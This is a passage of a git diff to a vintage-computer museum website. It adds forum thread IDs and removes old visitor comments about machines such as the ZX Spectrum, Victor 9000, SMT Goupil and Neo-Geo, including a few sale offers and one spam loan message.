Moore (High Wycombe, England) - date: Thursday 13rd June 2013 - text: lol I remember the awful keyboard with the shift-control-stand on head combinations, I had the 16k version with a 32k expansion pack sat in the back ! ... I wrote a load of games in assembler $ basic for the spectrum which were published, fun days ! - - author: moroz1999 (Tallinn/Estonia) - date: Sunday 5th May 2013 - text: |- - I hope nobody will be against posting a link to my little project here, as I''m sure it can be really interesting to many ZX-Spectrum fans.\ - http://zx.maros.pri.ee/eng/ - this is a ZX-Art, a largest collection of ZX-Spectrum classic games loading screens and modern demoscene art. - - author: Roger (ulster) - date: Thursday 28th February 2013 - text: |- - https://www.youtube.com/watch?v$zsjTpFR0oYQ - - please can anyone help lcd add hmpr bit 5$6 mode 3 interlaced with intra frame compression think gassman and naxtcross might be the only ones with a clue - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the net - - author: Costel (Romania) - date: Tuesday 8th February 2011 - text: TZX files store each and every pulse of a tape, so an audio can be built from it quit easily. - - author: Johnny - date: Tuesday 1st February 2011 - text: |- - Hi. .... - - Has anyone put the speccy onto a FPGA chip or made a single chip modern spectrum ?? - - The Amstrad CPC been done, they can run at 24MHz plus !!! so why not the spectrum ?? - - author: Dave (England) - date: Tuesday 1st February 2011 - text: I''m looking for a software database with SPECTRUM games and stuff in their original AUDIO format , so I can transfer them to 3" Disc. Most old software has been turned into digital files like TZX for emulators. Please leave comment if you can help !! - - author: Vic Flange - date: Monday 29th November 2010 - text: Tasword is a good Spectrum word processor. - - author: Jamie (UK) - date: Monday 22nd November 2010 - text: |- - I want one! Going to buy one from eBay! - - Never had a spectrum. Got a powerbook 150 (apple). My dad had the original one. I have my powerbook for old games, but my Dadonly has his Core2 Duo Dull Dell. - - Might get one for me too! - - Any advise?\ - Can you get programmes e.g Word Processing Software?? - - Jamie - - author: Mark (UK) - date: Monday 21st June 2010 - text: |- - The Spectrum had a wonderful feel to it, almost organic imho. I spent for too much of my youth tapping away at this little gem. - - I had the original rubber key 48K, the + and the +2, but my heart will always be with that little rubber keyed masterpiece. - - author: Noir (Hungary) - date: Friday 21st May 2010 - text: |- - The 3.5 Mhz CPU speed was quite fair for 3D games, which run more smootly on the Spectrum than on a C64 for example with 1Mhz (or 1.6Mhz?) CPU (there was one where you had to deploy towers on a space station and another one where you had to run through a egyptian tomb, I forgot the names$ does anybody remember VU3D from Psion btw.? :)))). No VIC or SID chips unfortunatelly :(\ - However it''s a 8bit CPU, the Z80 has instruments for 16bit operations and plenty of registers (A,B,C,D,E,H,L which are the 8 bit ones and BC, DE, HL which are the 16bit ones!), which were really great to work with that time!\ - I still had the guy in one of the boxes somewhere in the basement :) :( - - author: User - date: Wednesday 8th April 2009 - text: |- - There should be important additional info in description at site about graphics of Zpectrum: - - Each 8x8 pixel block have: 3 bit foreground color, 3 bit background color, 1 bit brightness, and 1 bit flashing. - - http://wapedia. mobi/en/Attribute_clash - - author: Andy Pagin (UK) - date: Thursday 19th March 2009 - text: |- - A little known feature of the Spectrum was that you could redirect the error handling to run your own custom process in ram. - - The practical upshot of this was that was you could write your own commands and add them seamlessly to the Sinclair Basic set - - How? Simple, write the ‘command’ in machine code and redirect the error handler to it’s address by changing a system variable. - - Then when you type your command in, the command line interpreter doesn’t recognise it, and calls your custom error handler, which then\ - Runs your custom command! - - I remember I used this technique to add a few missing functions to the Microdrives, such as the capability to re-open an existing file for writing. - - Sinclair originally hoped the Spectrum would sell well to schools as an educational tool, and as a result the user manual that came with the machine was utterly superb. Not only did it have a complete and very easy to follow BASIC tutorial, but it explained a lot about how the machine worked, and even introduced Z80 machine code. Thanks to this amazing little machine (and the ZX81) I’ve now been a professional programmer for over 25 years. - - author: David Davies (UK) - date: Tuesday 6th November 2007 - text: |- - The 16K Issue One Spectrum is undoubtedly the rarest of them all. I was once offered £400 for my boxed unit (which has been with us since 1983) despite it being broken. - - The Issue One shows its Sinclair kit machine heritage ... it has rough hand-drawn tracks on the PCB and no silk screen. In addition the ULA chip (the only custom chip on the board - basically a complex logic chip) had a bug in it. This led to Sinclair adding the 'spider' to correct the problem. This was just another standard logic chip added to the board with thick wire so that it rises above the board. - - author: Saltor (Taranto - Italy) - date: Monday 7th May 2007 - text: Happy birthday, old friend. - - author: Christian (Cumbria, UK) - date: Wednesday 4th April 2007 - text: My first ever computer ! in xmas 83 (I was 9) and a whole new world openned up......That horizons tape (naff!) and Trans am (Ultimate) and Pogo (Ocean - q-bert clone) were the first games I got.......sniff,sniff...... - - author: Martin Hitchings (Oxford) - date: Tuesday 2nd January 2007 - text: The 48k Speccy was my first computer which I got for Christmas in '82 or possibly '83 and I remember playing Chequered Flag and competing for lap times with my mum! It did get pretty battered and beaten over the years and I amassed a huge collection of games for it too, my favourite of which had to be Ant Attack. After a couple of years, the connector where the power cable plugged in became loose and somtimes it would turn itself off. My parents very kindly sent it off for a keyboard upgrade to the Saga 1 Emperor which kind of looked like a basic PC keyboard, but also gave me the reset switch I desperately needed (instead of taping the cable to the desk to stop it from moving). The only downside to this was that the keyboard didnt have all of the commands onthe keys like the old rubber one but also, the stickers after much bashing, came off! Those were the days..... - - author: Christian H. (Iceland) - date: Saturday 21st October 2006 - text: the spectrum was a brilliant piece of hardware, although technically better home computers were available at the time this one was extremely affordable and usable. got me introduced to my current line of work in computers. thanks sinclair and not at least zilog. - - author: Alkis Philon (Athens, Greece) - date: Friday 3rd February 2006 - text: My first computer...just seeing pictures of it brings tears to my eyes! Sir Clive, thank you and God bless you! - - author: steve rayner (england) - date: Monday 4th April 2005 - text: |- - does anyone here use the zeus assembler?\ - i am trying to use it on a spectrum +3, in 128k mode. Each time i exit using the Q command, it resets the machine. Therefore i cannot save my source code to disk. - - If anyone here does use it, is there any way around this? I really want to use it in 128k mode so that i can utilize the disk drive. - - author: Andy Malcolm (Norwich, UK) - date: Friday 1st April 2005 - text: Still the best computer ever made! - - author: Ian Gillman (UK) - date: Tuesday 8th March 2005 - text: I had one of the original spectrums in January 1982. My father knew a guy who worked for Sinclair (we lived near Cambridge) and we obtained one of the machines before its official release. As you know, a lot of people learned programming on a Spectrum (or Speccy as we used to call it) but did you know that a lot of people like myself started out by debugging other peoples code. There was a magazine called "Sinclair Programs" which would publish BASIC listings for small programs that users had written. Unfortunately the magazine had typos in quite a few listings and in order to make the programs work we spent many evenings debugging them. - - author: Nigel (New Zealand) - date: Tuesday 27th April 2004 - text: Keys like dead flesh - - author: pino ficara ( ) - date: Sunday 27th July 2003 - text: The biggest problem I had was the AC adapter, it was supposed to convert from 220VAC to 12VDC, but it was converting to 17VAC instead. The poor Spectrum's case was so hot I could use it to cook eggs. A friend of mine (Gianka) help me modifying the diods bridge inside the adapter. If I remeber correctly we installed on the bridge a 7812 chip. - - author: Grant (UK) - date: Monday 23rd June 2003 - text: Nice one, thanks oliver - - author: Olivier (France) - date: Thursday 19th June 2003 - text: Of course it is possible. You should find here (http://www.worldofspectrum.org/utilities.html) tools to do so. The idea is to convert .TAP files for example into .WAV files and load them diretly into the Speccy. MP3s won't work that much as there are compressed files, and so all frequencies are not present as in the original... - - author: Grant (UK) - date: Thursday 19th June 2003 - text: hey, does anyone know of a way of downloading roms for the spectrum, and then loading then playing them on a real one?, maybe if they were as sound , in mp3 format?, - - author: Hernan (Argentina) - date: Monday 27th May 2002 - text: 'The ZX Spectrum was manufactured in Argentina by Czerweny, a electric motor company! Two models were made: the CZ Spectrum, identical to the ZX except for 2 DIN connectors for Sinclair Joysticks and a useful reset button ;-D ; and the CZ Spectrum+, identical to the ZX Spectrum+.' related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/sirius-computer-victor-9000-sirius-1.md b/content/museum/sirius-computer-victor-9000-sirius-1.md index b0826170..42b61f8d 100644 --- a/content/museum/sirius-computer-victor-9000-sirius-1.md +++ b/content/museum/sirius-computer-victor-9000-sirius-1.md @@ -71,6 +71,7 @@ params: - software - links - docs + forum_thread: 220 photos: - title: ORIGINAL DESIGN subtitle: '' @@ -238,165 +239,6 @@ params:  type of document : ZIP\  size : 151 KB\  source : [Act Sirius 1 User Group (UK)](http://www.actsirius1.co.uk/) - comments: - - author: Tony Davis (Oxfordshire, UK) - date: Tuesday 16th October 2018 - text: I was interested to find this forum - although there doesn''t seem to be much genuine activity on it! In 1981 I was working for ACT (Applied Computer Techniques), the British company which partnered with Victor to market the Sirius 1 in the UK. I was in Scotts Valley California in September 1981 watching the prototype machines being assembled. I recorded a message which announced "I am the ACT Sirius 1 - the number one choice in business microcomputers!", which was played when a UK model was booted up. - - author: Bill Appleton (South West Englamd) - date: Thursday 19th May 2011 - text: |- - Hi As in my previous posts the site is still very active. I have extensively updated the site with more information, pictures and DIY projects for you to do. Much of interest there. A forum is now up and running for all Sirius and Victor talk as well as a guestbook.\ - Call over and see but please leave a record of your visit or add to the forum. If you cannot see a topic that interests you then start a new one. Look forward to your visit. - - author: Wayne McMorran, Prof Emeritus, CPE (San Luis Obispo, CA) - date: Friday 17th September 2010 - text: |- - The Sirius computer was an exceptionally good computer compared to the IBM PC. The name was changed to Victor 9000 because "Sirius" was already in use and, since the company had acquired Victor Office Machines as a sale arm, it was changed to the Victor 9000. It turned out that people did not go to "office machine" stores for computer and so the IBM won out, even though it was inferrior.\ - Written by a former Victor employee. - - author: StephenbPage (Scotland) - date: Sunday 10th October 2021 - text: I remember seeing the Victor 9000 for the first time, the unique design of the monitor which was echoed in the shape of the case (or vice versa), the dark colouring of the keyboard and machine bezel which worked so well with the black drives and the very wide, heavy keyboard my first thoughts were oh my, this LOOKS powerful. I have a suspicion I wasn’t alone in that thought and that helped sell so many too. A great machine, lots of options, a useful and reliable business machine that was truly worth the money. - - author: Alexandre JALON (FRANCE) - date: Sunday 7th February 2021 - text: Hello from France. Just a quick note as there are a few of us desperately looking for a working floppy OS (MS-DOS 2.xx if possible) for this machine. Indeed, none of our works properly and ... Impossible to find anywhere, apparently. If by chance you had any (and, why not, any utilities) contact me by email or on the Facebook group Ordinosaure. You would make a number of happy people who can not / no longer use this beautiful machine$). - - author: Martin Niec (United Kingdom (Kent)) - date: Monday 11th May 2020 - text: Hi guys do anyone of you have a software for Victor Vicki portable computer? I''m documenting restoration of one of these computers, but don''t have any software / boot disks. Thank you for your answers. - - author: andy piercy (UK) - date: Wednesday 4th March 2020 - text: |- - There is one on Ebay right now in the UK! - - https://www.ebay.co.uk/itm/SIRIUS-S1-VICTOR-9000-VINTAGE-COMPUTER-UNTESTED/362932205322?hash$item548071f70a:g:Lp8AAOSwqdNeXVie - - author: Pierre (France) - date: Friday 11th October 2019 - text: Having been Sirius S1 user for years, it had an Intel 8086 microprocessor, not a 8088. Other wise, could it be CP/M86 compatible ? - - author: Mrs Rose Larsson. (Paris-France) - date: Thursday 26th July 2018 - text: |- - Private Lender Bentex Funding Group Ltd.\ - Greetings to you by (BFGL).\ - We are a France-Paris based investment company known as Bentex Funding Group Ltd working on expanding its portfolio globally and financing projects. - - We would be happy to fund and invest with you in any profitable project if you have any viable project we can finance by making mutual investment with you. If you are interested, kindly contact us on:avitinvestmentauthority2@gmail.com for more details.\ - Looking forward hearing from you soonest.\ - Yours truly,\ - Mrs Rose Larsson.\ - (Personal Assistant)\ - Bentex Funding Group Ltd(BFGL)\ - 501 Avenue Montaigne,75008 Paris-France\ - Paris-France.Bentex Funding Group Ltd (BFGL) - - author: Paul (usa) - date: Sunday 27th November 2016 - text: In the early 80''s I worked in Detroit/Suburbs as a cash register tech, we sold Kingtron registers and I remember them bringing in a PC to handle sales info ect. I remember it booting up saying " I am the voice of the Victor 9000!" It was supposed to the new "thing", I bought stock in the company and still have the certificate even though they went bankrupt. - - author: Elena (CA/USA) - date: Thursday 21st July 2016 - text: |- - I worked for Victor (Sirius) from 1982 to 1984. I miss those days.\ - Was the best job I had (other than being a mom) and have some good memories. I wanted to buy one of the computers but even with discount I couldn''t afford. - - author: Eamonn Deering (Dublin (Ireland)) - date: Tuesday 27th October 2015 - text: I worked for a company in Dublin named Orbis in the mid 80''s installing and repairing the ACT Sirius 1. Spent my life cleaning floppy heads, the belts, tuning floppy and harddisk circuit boards, replacing those PSU which popped a lot. Great to see this site. Wrote a poker game that has a character generated guy jump over the Sirius 1 logo. Ha Ha. what memory''s. Still have one in acetic. I know if i power it up the PSU will pop. :) - - author: manuela (italy) - date: Monday 6th April 2015 - text: |- - hi everyone,\ - I have the pc victor in the cellar, bought by my father between 1978 and 1980 at least he told me this, the computer that we victor in the cellar is working and my father still has to be $ed in the floppy diskettes, as it can be worth now a relic of the genre? - - author: David Barradine (United Kingdom) - date: Friday 20th March 2015 - text: I used to repair these machines in the 80''s, happiest days of my life, we used to charge £300 a time to replace the floppy drives, I used to get 10$ bonus on repairs then, I had just got married and bought our first house I made so much money I paid the mortgage off within 5 years, drove around in firms Ford Capri''s which were replaced every two years. Still working in IT but hate the job now, how i wish i could go back to those days. - - author: Bill Appleton (South West UK) - date: Thursday 4th December 2014 - text: Hi Still round. Since last post site has expanded to take in other Victor machines. In the process of a new site just for Victor. Much tech info added to site etc. Forum had to go as being spammed to much. No time to sort it. Guest book waiting for your comments so pop in and see if there is something of interest for you and maybe help with a problem with your Sirius or Victor. Email through the site if you cannot find what you need and maybe we can help. - - author: James Clark (USA) - date: Friday 28th March 2014 - text: I was working at Ford Motor Co. on staff at T$C Division. Victor was $ed to be the Official Ford Business Computer. They had two floors in the Sat $ Pepper towers In Dearborn for training. We loved them. Then the Engineering Department stated "you didn''t ask us, We are $ing the IBM AT as our standard" $It had just came out after Ford purchased THOUSANDS of Victors.$ Needless to say, Engineering won and we replaced all the Victors. The variable speed drive gave more room on the floppies and we liked the DOS better. - - author: David Peterson (USA) - date: Tuesday 11th December 2012 - text: I worked for a computer distributor in the early 1980''s. The Victor 9000 would make a good business case study. They came into the industry, hired the best sales and support people. Signed up everyone as a dealer. Huge demand. Booked orders. When manufacturing started all was well until pipeline was filled. Projected orders were filled and shipped. The part of the company that was not grown was accounting. The company ramped up and shipped. No one was billed for anything. You could not contact accounting. I can remember the stacks of boxed Victor 9000''s lining the hallways... that were not ordered (or paid for). The Victor 9000 was a good product. Infrastructure was lacking. - - author: Chris (USA) - date: Saturday 8th September 2012 - text: I have a Vicki in seemingly little used condition. I''m contemplating selling it, Entertaining offers. - - author: Pierre Chabot (Montreal Canada) - date: Tuesday 26th June 2012 - text: The Victor computer included a proprietary spreadsheet software known as "VictorCalc", which was 3D. You could rotate the view of the rows/columns/sheets. I have not seen this functionality in other spreadsheet products since that time. - - author: michael fowler (Durham UK) - date: Sunday 24th June 2012 - text: Hi I have a Victor Vicki in working order, with discs, which I wish to sell? - - author: Keith Harvey (Norfolk, England) - date: Saturday 17th March 2012 - text: Nice to discover this Sirius nostalgia-fest. I started on a massive threaded-core translator designed in the 1960''s, but moved over to small computers in the mid-eighties via a Victor/Sirius twin-floppy machine. It was a real marvel for the time, and I wrote loads of commercial dBase routines on it (in good ol'' WordStar''s non-document mode), then moving to an ACT (Apricot) ''lugable'' with 10Mb HDD! Laplink was my life-saver too. Got a computer shop now but I still recall the early days when it was all just fun. The keyboard supplied was built to last and nice to use, but the monitor''s green on black display was pretty hard on the eyes after 15 hours non-stop coding. And the associated printer''s noise - horrendous! Well, we didn''t think ''Health and Safety'' so much back then... - - author: Hubert Ernst (Germany) - date: Wednesday 22nd February 2012 - text: I´ve selling this wonderful machines, when Chuck founded his German office in Frankfurt in 1983. Also later, when it became Victor Sirius, we had big success selling it to the market. At it´s time, it was far ahead of any IBM PC. Unfortunately Victor sold the company to the UK based Apricot Computer, which also finished a couple of months later. Anyhow, it was my most exiting time as a sales man! - - author: Rick Chandler (England) - date: Wednesday 22nd February 2012 - text: I worked for the UK distributor in 1982 and we developed several programmes in the publishing sector. This included interfaces to a Japanese professional OCR reader (Matsui I think) and a Linotype typesetter. This gave the ability to input typed material, process it on the Sirius (to take advantage of it''s soft fonts and high resolution) and output typesetter quality copy. In the days before desktop publishing this blew the minds of the print industry. I took this to the Global Launch of the Sirius at the Hannover Fair (now CeBIT) in Germany where Chuck Peddle and the Sirius team recruited global re-sellers. IBM were 3 days late in getting the IBM PC to the fair and their sales guys were all over the Sirius having to admit it was a far superior machine. Great to have been part of it. In 1986 I was engaged by Chuck and Kurt Souvey from the original Sirius team to help launch the Tandon computer range also designed by them but clearly not as innovative. - - author: Rick Chandler (England) - date: Wednesday 22nd February 2012 - text: I worked for the UK distributor in 1982 and we developed several programmes in the publishing sector. This included interfaces to a Japanese professional OCR reader (Matsui I think) and a Linotype typesetter. This gave the ability to input typed material, process it on the Sirius (to take advantage of it''s soft fonts and high resolution) and output typesetter quality copy. In the days before desktop publishing this blew the minds of the print industry. I took this to the Global Launch of the Sirius at the Hannover Fair (now CeBIT) in Germany where Chuck Peddle and the Sirius team recruited global re-sellers. IBM were 3 days late in getting the IBM PC to the fair and their sales guys were all over the Sirius having to admit it was a far superior machine. Great to have been part of it. In 1986 I was engaged by Chuck and Kurt Souvey from the original Sirius team to help launch the Tandon computer range also designed by them but clearly not as innovative. - - author: Jeff Hill (USA) - date: Sunday 8th January 2012 - text: I was one of Victor''s early resellers, in Chicago, and got my start in the computer industry sellling the 9000. I made a big effort to catalog all the available software for the 9000, and started selling software mail-order to people with 9000s all over the world. We were also early AutoCad resellers, using the 9000 and taking advantage of the superior screen resolution. Eventually, years after they went out of business, I ended up moving to Scotts Valley, CA, where Victor/Sirius was based and ended up working for a company that had bought up much of their furniture...my desk still had a Victor asset tag on it. - - author: Werner Duerr (USA) - date: Thursday 13rd October 2011 - text: I worked on several of these machines in the late 80''s and thought they were much better the IBM Compatibles. if they caught on we would have been asking "Is it Victor compatible" back in the 90''s. - - author: Bill Appleton (UK) - date: Wednesday 27th April 2011 - text: I have at last done a considerable amount of updating to the site. I have already included many projects on how to maintain/repair your Sirius/Victor. Call by and join the forum. - - author: Bill Appleton (UK) - date: Wednesday 18th March 2009 - text: I am in the process of updating the Sirius site to include Victor 9000, Victor Vicki (luggable and desktop) Victor Vi and some early Victor luggable laptops and a couple of ACT apricot machines. I also have a lot of other assicioated hardware. - - author: Paul Swainson (Scotland) - date: Friday 3rd December 2010 - text: I still have this unit with a 10 Mg hard drive and is running on MS dos 2.1 and the screen gives a great display. The machine just runs and runs, just can''t bear to get rid of it, it just sits in my office at home. - - author: Joseph Bui (Earth) - date: Wednesday 23rd December 2009 - text: This was the first computer I wrote any programs on. If you did not put a disk in any drive, it would boot into a GW-BASIC interpreter$ I think that counts as a built in language. A complete unit and many floppy disks are still in my parents'' attic $ I assume the heat and cold has rendered the system and disks non-functional. - - author: Clint Chaplin - date: Thursday 24th April 2008 - text: I have several Sirius 1 / Victor 9000 computers in storage, and it's time to divest myself of them. I'm on the west coast of the United States. - - author: brigitte boarder (North Wales - UK) - date: Wednesday 20th February 2008 - text: |- - Have one Victor Sirius with keyboard and monitor (think it's from the early '80's) with tons of software, plus some manuals. The machine has 2 floppy drives - 1 of which was working fine, the other intermittently. Last had it out the cupboard 4 years ago - is there any interest in this vintage machine still? - - would prefer replies on this website pleaase - - author: Yves Guittard (Chicago) - date: Friday 3rd August 2007 - text: I've had several Sirius S1/Victor 9000, a Vicki and even a Victor VI (the S1/PC "mutant"). I loved this machine! I remember I have written several utilities in assembly language (I still have the sources!) which were clones of the Norton Utilities for PC. Actually, I would like to buy a Victor 9000 in order to show to my son how the computer looked like 25 years ago... - - author: Ian (Montreal) - date: Wednesday 16th May 2007 - text: |- - I have a 10Md hard drive Victor 9000 to sell.... I live in montreal.... contact me through my e-mail lavallee.ian@gmail.com or by phone 450-543-2543.\ - The Computer is in good working condition and i have few extras! - - author: Bill Appleton (plymouth) - date: Monday 6th November 2006 - text: |- - I am still here but due to being messed about by various web hosts the site is not being picked up by search engines. The site can be found at: www.actsirius.pwp.blueyonder.co.uk\ - email me: siriusmanblueyonder.co.uk - - author: Jack (Scotland) - date: Saturday 5th August 2006 - text: I have two of these machines and a hard drive stored at work. One of the machines is stored in the original packing. I can't remember how much software there is. Given the incredible improvement in financial efficiency they provided, I thought they may prove of interest to future generations. - - author: Nigel Bailey (Luton UK) - date: Wednesday 22nd March 2006 - text: |- - OH good grief ! It's really scary, I found one of these beasties minus keyboard and OS, and I'm suddenly aware that almost all the links to sirius people are dead, I've managed to download a ton of software and software info, but getting anything on the hardware (beyond the obvious) seems to be impossible. All I can say is HELP. and where's Bill Appleton's sirius site?? I just get adverts now!\ - I'd be well willing to host the hardware and software data on my bit of webspace, if it will mean that this machine won't die for a while longer. - - author: Andrew Craig (Northumberland - UK) - date: Tuesday 2nd November 2004 - text: Hi, I had one of these Sirius 1 computers about 8 years ago but let it go thinking I could always get another if I wanted - Ive been looking for some time to buy another but cant seem to find one - any suggestions where would be welcome? - thanks - - author: jimbo (spain) - date: Saturday 21st August 2004 - text: Hi, i NEED a boot disk to take out of the grave my victor vicki (luggable sirius) or a disk image and info about a image burner capable to run in a XT - - author: Nick Daisley (Oxford, UK) - date: Monday 28th June 2004 - text: I remember my first ever experience in using spreadsheets was at evening classes in the summer of 1982, using Visicalc (I think) on Sirius PCs. I do remember that formatting a disk was always fun, as the drive could be heard speeding up as it approached the outer edge of the disk, packing data on as efficiently as possible. - - author: Bill Appleton (South West England UK) - date: Sunday 15th September 2002 - text: Always available for Sirius chat. - - author: Gianfranco Venturino (Italy) - date: Wednesday 17th July 2002 - text: I have pleasure to joint in this miniforum, thank you. oc_id: 210 source: url: https://web.archive.org/web/20230604050628/http://www.old-computers.com/museum/computer.asp?c=210 diff --git a/content/museum/sixplay.md b/content/museum/sixplay.md index 84811c57..7a167d45 100644 --- a/content/museum/sixplay.md +++ b/content/museum/sixplay.md @@ -49,6 +49,7 @@ params: tabs: - photos - links + forum_thread: 895 photos: - title: DIFFERENT MODEL subtitle: '' diff --git a/content/museum/smh-alcatel-alpha-plus.md b/content/museum/smh-alcatel-alpha-plus.md index 62caccb5..4f179b74 100644 --- a/content/museum/smh-alcatel-alpha-plus.md +++ b/content/museum/smh-alcatel-alpha-plus.md @@ -51,6 +51,7 @@ params: tabs: - photos - adverts + forum_thread: 508 photos: - title: ALPHA PLUS subtitle: '' @@ -65,10 +66,6 @@ params: subtitle: '' text: The same women has changed its shirt... But hey, what's the message behind this pictures ? Would it be that it's sexy to work on an Alpha Plus, or that women prefer men owning an Alpha Plus ?! image: /media/museum/pubs/alcatel_alphaplus_3.jpg - comments: - - author: Chris (Germany) - date: Thursday 15th July 2021 - text: This computer may have been marketed by Alcatel, but the manufacturer is AES Data Ltd. Montreal/Quebec oc_id: 514 source: url: https://web.archive.org/web/20230417033458/http://www.old-computers.com/museum/computer.asp?c=514 diff --git a/content/museum/smoke-signal-chieftain-computers-the-chieftain-9822.md b/content/museum/smoke-signal-chieftain-computers-the-chieftain-9822.md index 4212ebdf..da545003 100644 --- a/content/museum/smoke-signal-chieftain-computers-the-chieftain-9822.md +++ b/content/museum/smoke-signal-chieftain-computers-the-chieftain-9822.md @@ -38,6 +38,7 @@ params: value: PSU built-in tabs: - adverts + forum_thread: 1303 adverts: - title: US ADVERT (APRIL 1982) subtitle: '' diff --git a/content/museum/smt-goupil-2.md b/content/museum/smt-goupil-2.md index 1f13f494..daaf59c6 100644 --- a/content/museum/smt-goupil-2.md +++ b/content/museum/smt-goupil-2.md @@ -65,6 +65,7 @@ params: - photos - adverts - hardware + forum_thread: 143 photos: - title: LARGE VIEW subtitle: '' @@ -180,10 +181,6 @@ params: subtitle: '' text: This model featured US "Magnetic Peripherals" drives. Some other versions had BASF drives. image: /media/museum/hardware/smt_goupil2_fdunit_s1.jpg - comments: - - author: Ross (United Kingdom) - date: Monday 8th October 2018 - text: Does anyone have any software or manuals for this machine please? oc_id: 131 source: url: https://web.archive.org/web/20221128042913/http://www.old-computers.com/museum/computer.asp?c=131 diff --git a/content/museum/smt-goupil-3.md b/content/museum/smt-goupil-3.md index 3ba83513..dcbd8c1b 100644 --- a/content/museum/smt-goupil-3.md +++ b/content/museum/smt-goupil-3.md @@ -67,6 +67,7 @@ params: tabs: - photos - adverts + forum_thread: 144 photos: - title: GOUPIL G3 subtitle: '' @@ -109,27 +110,6 @@ params: What a lucky girl ! Her father offered her a fantastic game machine (the game pictured here must be the only one available for the Goupil 3). This system is perfectly adapted to her small fingers and so delicate knees (have a look at this enormous keyboard, man !).\ The father must have been working for S.M.T. (manufacturer of the Goupil), as I don't see any other logical explanation. No one would have made this to his child without fearing eternal reproaches. image: /media/museum/pubs/goupil_3_pub_games_1.jpg - comments: - - author: Didier (Hong Kong) - date: Tuesday 22nd February 2011 - text: |- - I still own one, but it''s been many years since I''ve booted it. Mine has a 5MB HDD and a 5.25" diskette reader. Green-on-Green Display $ but I remember we had connected some to a TV set to get colour display. The graphics card had two modes, 25x80 chars and a graphic mode, 512x256. - - 6809 processor @2 MHZ, 64 KB RAM + extra 256 KB card $ the 8-bit processor can''t address more than 64KB so we used page swapping to access the extra RAM. Coding was done mostly in ASM. Another use for this RAM card was RAM-disk. Very useful when compiling ASM projects. - - I remember using one in our club that had two processors (I think that was the limit) and you switched between processors by hitting the soft-interrupt switch on the front left side$ it took you to a kind of ROM-based debugger shell and you typed commands to switch and reboot. The very-often needed NMI switch (ASM programs tend to freeze more often than not $-)...) was at the back of the unit. - - There were no built-in languages $ unlike Goupil 2 that had a Basic in the ROM. Flex came with an assembler and a Basic interpreter. - - author: Régis Schmidt (France) - date: Monday 1st August 2016 - text: The first real OS-with machine I used. I designed specific I/O Interface boards for it. - - author: Florian (France) - date: Wednesday 29th October 2008 - text: |- - I had used one as a child. The price seems exact as I recall when my father shelled for one for his statistical research.\ - The screen was not 8 colors as indicated but black-and-green.\ - It had a modem (needed for the Minitel emul and it could actually connect to data centers for number crunching.) Don''t know the speed.\ - I think it only had room for two CPU boards, and i recall there was an actual flip switch on the back to $ the working processor. Don''t know what you mean by "time sharing" but if that''s "power down, switch CPU, power up", then, yes! oc_id: 132 source: url: https://web.archive.org/web/20230604032435/http://www.old-computers.com/museum/computer.asp?c=132 diff --git a/content/museum/smt-goupil-g4.md b/content/museum/smt-goupil-g4.md index 515b5efe..a538040b 100644 --- a/content/museum/smt-goupil-g4.md +++ b/content/museum/smt-goupil-g4.md @@ -67,6 +67,7 @@ params: tabs: - adverts - hardware + forum_thread: 531 adverts: - title: 'ADVERT #1' subtitle: '' @@ -80,25 +81,6 @@ params: Both parts were created by Microsoft. However, S.M.T. developed a protocol for transfering information between various stations of an ISO network. Up to 64 stations can be connected at a maximum distance of 1200 meters, with a transfer rate of 1 megabits/second (125 000 bytes). image: /media/museum/hardware/goupil_g4_network_1.jpg - comments: - - author: Gilles (FRANCE) - date: Friday 9th July 2010 - text: 'When I was youg, we had Goupil G4 in class room: 2 for all the school, at 10 yo... it was an computer for learning' - - author: François (France) - date: Sunday 11th March 2007 - text: |- - At one time, the Goupil G4 was considered as the fastest available IBM-PC compatible.\ - The company went to Stock Markets and shares soared.\ - False statement were issued (the company started loosing money but issed false invoices to report non-exisiting sales increase) and Goupil closed with a minor scandal. - - author: Alexey (Moscow, Russia) - date: Friday 27th June 2003 - text: |- - Sorry, but I speak English very bad.\ - I have SMT Goupil G4. I need original software for this computer (from original disks). - - ---Russian (translit)---\ - Privetstvuyu vseh! U menja est kompjuter SMT Goupil G4. Mne nuzhny programmy s disket, idushih v komplekte s kompom - programmy dlja raboty s chasami i t.d.\ - Vse, u kogo est etot kompjuter, pozhaluista, otzovites! oc_id: 537 source: url: https://web.archive.org/web/20230609033459/http://www.old-computers.com/museum/computer.asp?c=537 diff --git a/content/museum/snk-neo-geo-advanced-entertainment-system-aes.md b/content/museum/snk-neo-geo-advanced-entertainment-system-aes.md index be361037..ceb09877 100644 --- a/content/museum/snk-neo-geo-advanced-entertainment-system-aes.md +++ b/content/museum/snk-neo-geo-advanced-entertainment-system-aes.md @@ -16,6 +16,7 @@ params: - emulators - links - docs + forum_thread: 1192 photos: - title: NEO-GEO subtitle: '' @@ -157,24 +158,6 @@ params:  type of document : HTML\  source : [SpoonMan's Neo-Geo page](http://spoonman.roarvgm.com/neogeo/index.htm) - comments: - - author: bluekatt (netherlands) - date: Sunday 1st April 2007 - text: 'correction : the first pack in game wa sindeed magician lord how ever it was a late alteration so late it became a sticker on the packaging over the dvertised two pack in games' - - author: bluekatt (netherlands) - date: Sunday 1st April 2007 - text: |- - Even if SNK \\Playmore did stop support for the neo geo that doesnt stop third party developers from stil releasing games for the platform.\ - The neo geo has always been more of an investment console. An elite console. Not just because of its high price tag. But also because of its game lineup. Which were beat em ups for over 90 %. A beat em up fans dream.\ - If you could afford it.\ - The machine retailed for $ 650 USD (Now complain about the ps3's price tag.) With games regulalry going for 200 USD or over.\ - These days rare or wanted neo geo carts can fetch 1000 USD or more on ebay.\ - The neo geo is also home to one of the most rare and expensive video games ever.\ - The localised eEuropen home cart version of Kizuna encounter is rumored to have no more then 10 copies in excistence.\ - Recently a copy of said game sold for 12.000 usd - - The orginal pack in game for the neo geo was either Nam-1975 ( 001 ) or Basebal star professiona.l ( 002)\ - Magician lord is 005. oc_id: 1225 source: url: https://web.archive.org/web/20230201122715/http://www.old-computers.com/museum/computer.asp?c=1225 diff --git a/content/museum/snk-neo-geo-pocket-color.md b/content/museum/snk-neo-geo-pocket-color.md index 9545553c..4feebeb3 100644 --- a/content/museum/snk-neo-geo-pocket-color.md +++ b/content/museum/snk-neo-geo-pocket-color.md @@ -12,6 +12,7 @@ params: - photos - emulators - links + forum_thread: 1232 photos: - title: NEO-GEO POCKET COLOR subtitle: '' @@ -30,10 +31,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - 